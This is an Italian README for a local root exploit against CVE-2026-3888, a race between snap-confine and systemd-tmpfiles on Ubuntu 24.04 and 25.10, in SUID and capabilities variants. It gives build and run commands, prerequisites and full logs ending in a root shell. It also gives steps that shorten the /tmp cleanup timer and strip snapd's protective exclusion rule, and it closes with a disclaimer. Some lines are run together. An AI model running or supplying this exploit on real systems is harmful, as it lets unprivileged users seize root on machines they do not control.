
Exploit di escalation dei privilegi locali per CVE-2026-3888 che prende di mira snap-confine e systemd-tmpfiles su Ubuntu, fornendo varianti SUID e capabilities per ottenere l'accesso root.
Escalation dei privilegi locali da utente non privilegiato a root completo su Ubuntu Desktop 24.04+ sfruttando una condizione di gara TOCTOU tra snap-confine e systemd-tmpfiles. Sono fornite due varianti: SUID e Capabilities.
CVSS: 7.8 (Alto) | Advisory: Qualys | Patch: snapd 2.74.2, 17 marzo 2026
systemd-tmpfiles elimina la directory mimica .snap obsoleta sotto /tmp (scadenza 30 giorni)snap-confine tramite backpressure su socket AF_UNIX per vincere in modo affidabile la gara durante la sequenza di bind-mount mimicold-linux-x86-64.so.2 viene sostituito con shellcode che chiama setreuid(0,0) + execvesnap-confine attiva lo shellcode con privilegi di root/var/snap/firefox/common/ per fuggire dalla sandbox| File | Descrizione |
|---|---|
exploit_suid.c | Exploit unificato a binario singolo — tutte e 7 le fasi in un orchestratore basato su fork |
librootshell_suid.c | Payload — ELF minimale che sostituisce ld-linux-x86-64.so.2 tramite syscall x86_64 raw |
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
Entrambi devono essere compilati su (o cross-compilati per) Linux x86_64. exploit è linkato staticamente per poter essere eseguito all'interno della sandbox snap senza dipendenze da librerie. librootshell.so usa -nostdlib perché contiene solo syscall raw — nessuna libc.
./exploit <librootshell.so> [-d] [-s]
| Flag | Descrizione |
|---|---|
-d | Mostra l'output di debug di snap-confine (modalità verbose) |
-s | Salta l'attesa della pulizia .snap (richiede password root) |
# Esecuzione normale
./exploit ./librootshell.so
# Modalità debug
./exploit ./librootshell.so -d
# Riprova dopo un errore
./exploit ./librootshell.so -s
L'exploit entra nella sandbox, attende che systemd-tmpfiles elimini .snap (fino a 10 giorni su Ubuntu 25.10 standard e fino a 30 giorni su Ubuntu 24.04 standard), quindi esegue automaticamente la gara. In caso di successo, apre una shell root.
snap-confine deve essere SUID-root (-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine)systemd-tmpfiles-clean.timer attivobusybox disponibile sul sistema bersaglio (/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/user/./librootshell.so (9056 byte)
[Fase 1] Ingresso nella sandbox Firefox...
[+] PID shell interna: 3122
[Fase 2] Attesa eliminazione .snap...
[*] Polling (fino a 30 giorni su Ubuntu standard).
[*] Suggerimento: usa -s per saltare.
[+] .snap eliminato.
[Fase 3] Distruzione namespace mount memorizzato...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] Namespace distrutto.
[Fase 4] Configurazione ed esecuzione della gara...
[*] Directory di lavoro: /proc/3122/cwd
[*] Creazione di .snap e .exchange...
[*] 285 voci copiate nella directory exchange
[*] Avvio gara...
[*] Monitoraggio snap-confine (PID figlio 3543)...
[!] TRIGGER — scambio directory...
[+] SCAMBIO COMPLETATO — gara vinta!
[*] ld-linux nel namespace: user:user 755
[+] PID namespace avvelenato: 3543
[Fase 5] Iniezione payload nel namespace avvelenato...
[+] ld-linux di proprietà di uid 1000 (attaccante). Gara confermata.
[*] Installazione busybox...
[*] Scrittura script di fuga → /tmp/sh
[*] Sovrascrittura ld-linux-x86-64.so.2...
[+] Payload iniettato.
[Fase 6] Attivazione root tramite SUID snap-confine...
[*] snap-confine → snap-confine (trigger SUID)
[*] Stato di uscita: 0
[Fase 7] Verifica...
[+] Bash root SUID: /var/snap/firefox/common/bash (modalità 4755)
[*] Pulizia processi in background...
================================================================
SHELL ROOT: /var/snap/firefox/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
systemd-tmpfiles elimina la directory mimica .snap obsoleta sotto /tmpsnap-confine tramite backpressure su socket AF_UNIX per vincere in modo affidabile la gara durante la sequenza di bind-mount mimico di /var/lib/var/lib/snapd/mount/snap.snap-store.user-fstabuser-fstab montano tramite bind-mount un /etc avvelenato (con ld.so.preload) nella sandboxsu da /tmp/.snap preloada librootshell.so che chiama setreuid(0,0) + | File | Descrizione |
|---|---|
exploit_caps.c | Exploit unificato a binario singolo — tutte e 7 le fasi in un orchestratore basato su fork |
librootshell_caps.c | Payload — libreria condivisa con costruttore che chiama setreuid(0,0) + execve |
gcc -O2 -static -o exploit exploit_caps.c
gcc -shared -fPIC -nostartfiles -o librootshell.so librootshell_caps.c
Entrambi devono essere compilati su (o cross-compilati per) Linux x86_64. exploit è linkato staticamente per poter essere eseguito all'interno della sandbox snap senza dipendenze da librerie. librootshell.so usa -nostartfiles e un __attribute__((constructor)) — viene caricato tramite ld.so.preload prima del main() del binario bersaglio.
./exploit <librootshell.so> [-d] [-s]
| Flag | Descrizione |
|---|---|
-d | Mostra l'output di debug di snap-confine (modalità verbose) |
-s | Salta l'attesa della pulizia .snap (usa quando .snap è già sparito) |
# Esecuzione normale
./exploit ./librootshell.so
# Modalità debug
./exploit ./librootshell.so -d
# Salta attesa (riprova)
./exploit ./librootshell.so -s
L'exploit entra nella sandbox, attende che systemd-tmpfiles elimini .snap (fino a 10 giorni su Ubuntu 25.10 standard e fino a 30 giorni su Ubuntu 24.04 standard), quindi esegue automaticamente la gara. In caso di successo, apre una shell root.
snap-confine deve avere capabilities (cap_sys_admin, cap_chown, cap_dac_override, ecc.)snap-store installato (predefinito su Ubuntu Desktop)core22 installatosystemd-tmpfiles-clean.timer attivobusybox disponibile sul sistema bersaglio (/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.71.1+ubuntu25.10.1
snapd 2.71.1+ubuntu25.10.1
series 16
ubuntu 25.10
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=25.10
DISTRIB_CODENAME=questing
DISTRIB_DESCRIPTION="Ubuntu 25.10"
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles Capabilities LPE
================================================================
[*] Payload: /home/user/./librootshell.so (14320 byte)
[Fase 1] Ingresso nella sandbox snap-store...
[+] PID shell interna: 3501
[Fase 2] Attesa eliminazione .snap...
[*] Polling (fino a 10 giorni su Ubuntu 25.10).
[*] Suggerimento: usa -s per saltare.
[+] .snap eliminato.
[Fase 3] Distruzione namespace mount memorizzato...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_wQcOnV//dev: No such file or directory
[+] Namespace distrutto (.mnt sparito).
[Fase 4] Configurazione ed esecuzione della gara...
[*] Directory di lavoro: /proc/3501/cwd
[*] Creazione di .snap e .exchange...
[*] 17 voci copiate nella directory exchange
[*] Avvio gara...
[*] Monitoraggio snap-confine (PID figlio 3678)...
[!] TRIGGER — scambio directory...
[+] SCAMBIO COMPLETATO — gara vinta!
[+] Gara vinta. /var/lib/snapd ora è di proprietà dell'utente.
[Fase 5] Configurazione payload e user-fstab...
[*] Copia di /etc in .snap/etc...
[*] Scrittura ld.so.preload...
[*] Scrittura user-fstab...
[*] Copia di librootshell.so in /tmp/...
[*] Copia di busybox...
[*] Scrittura script di fuga...
[*] Scambio var/lib (ripristino metadati snapd originali)...
[+] Payload pronto.
[Fase 6] Attivazione root tramite binario SUID in /tmp/.snap...
[*] Esecuzione: snap-confine → /tmp/.snap/var/lib/snapd/hostfs/snap/core22/current/usr/bin/su
[*] Stato di uscita: 0
[Fase 7] Verifica...
[+] Bash root SUID: /var/snap/snap-store/common/bash (modalità 4755)
[*] Pulizia processi in background...
================================================================
SHELL ROOT: /var/snap/snap-store/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
Su un'installazione Ubuntu standard, la pulizia di .snap richiede 30 giorni (24.04) o 10 giorni (25.10). Per accelerare i test, riduci l'età di /tmp e l'intervallo del timer:
Modifica /usr/lib/tmpfiles.d/tmp.conf (come root):
# Cambia l'età da 30d a 4m
sudo sed -i 's|^q /tmp .\+|q /tmp 1777 root root 4m|' /usr/lib/tmpfiles.d/tmp.conf
Verifica:
grep '^q /tmp' /usr/lib/tmpfiles.d/tmp.conf
# Dovrebbe mostrare: q /tmp 1777 root root 4m
sudo mkdir -p /etc/systemd/system/systemd-tmpfiles-clean.timer.d
sudo tee /etc/systemd/system/systemd-tmpfiles-clean.timer.d/override.conf > /dev/null <<'EOF'
[Timer]
OnBootSec=1m
OnUnitActiveSec=1m
EOF
sudo systemctl daemon-reload
sudo systemctl restart systemd-tmpfiles-clean.timer
Verifica:
systemctl list-timers systemd-tmpfiles-clean
# La colonna NEXT dovrebbe mostrare ~1 minuto da ora
snapd 2.73+ aggiunge una regola di esclusione che impedisce a tmpfiles di pulire .snap. Se il tuo sistema la ha, controlla e rimuovila:
cat /usr/lib/tmpfiles.d/snapd.conf
# Se vedi: x /tmp/snap-private-tmp/*/tmp/.snap
# Rimuovi quella riga, oppure esegui il downgrade a snapd 2.71.1
Con queste impostazioni, .snap verrà pulito entro ~5 minuti dal momento in cui diventa obsoleto, consentendo iterazioni rapide durante i test.
Questo codice è fornito esclusivamente a scopo educativo, per ricerca sulla sicurezza autorizzata e per test di penetrazione in cui sia stato ottenuto esplicito permesso scritto. L'autore non si assume alcuna responsabilità per l'uso improprio di questo software. Utilizzando questo codice, accetti di essere l'unico responsabile delle tue azioni e di qualsiasi conseguenza derivante dal suo utilizzo. Non utilizzare questo codice contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione a testare.
| Ubuntu 24.04 (SUID) | Ubuntu 25.10 (Capabilities) |
|---|
| snap-confine | SUID-root | Capabilities (cap_sys_admin, ecc.) |
| Snap bersaglio | firefox | snap-store |
| Mimica bersaglio | /usr/lib/x86_64-linux-gnu (~285 voci) | /var/lib (~17 voci) |
| Vettore di exploit | Sovrascrive ld-linux-x86-64.so.2 con shellcode | Controlla user-fstab + ld.so.preload |
| Formato payload | ELF statico con syscall raw | Libreria condivisa con __attribute__((constructor)) |
| Trigger root | SUID snap-confine carica linker dinamico avvelenato | SUID su in /tmp/.snap preloada .so |
| Requisito cgroup | Qualsiasi nome snap.* | Corrispondenza esatta: snap.snap-store.hook.configure |
Pulizia .snap | 30 giorni | 10 giorni |
| Fuga sandbox | /var/snap/firefox/common/bash | /var/snap/snap-store/common/bash |
execve("/tmp/sh")/var/snap/snap-store/common/ per fuggire dalla sandbox